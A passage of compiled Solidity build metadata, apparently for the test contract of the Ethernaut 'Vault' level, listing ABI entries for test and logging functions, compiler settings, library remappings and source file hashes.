"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Vault.t.sol\":\"TestVault\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/Vault.sol\":{\"keccak256\":\"0xa9dc29eec754730aa7083f52b45d76f6df613eb6d5bdb15b67d408ef2f3a8527\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://0675c9cbade01d0ea4d023fc3fe83eedad8af92a2b138ac36a4629f179d94b3b\",\"dweb:/ipfs/QmbeBCYvLiqRgg9NLJBgYFfT768HVMbNLWBFe8Z2KrFQ1h\"]},\"src/levels/VaultFactory.sol\":{\"keccak256\":\"0x81684c8d189082762c03d9663cce5cd0ad38634abe821c9583eb3921e041107b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bd0c30d58a39b17c535ffec3132263b6807d00a2cf0b75c6f9c36ba7446f365f\",\"dweb:/ipfs/QmeMQ5NKN9KDyAKwosQkJbNUGPv3YT4bV62fK8PKoeELjF\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Vault.t.sol\":{\"keccak256\":\"0x945007f896f998d5fb79a430309ba20fbc370b5cadec55dd9965382486901cdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://e5405844f374ab1e3ff073a3802ac506aced1c2798f8998504b42893d0cd3d6c\",\"dweb:/ipfs/QmPWYY2DC8JgpHBm7PJsks3FqiU6XDr2Edd3FrJK8jhKdE\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"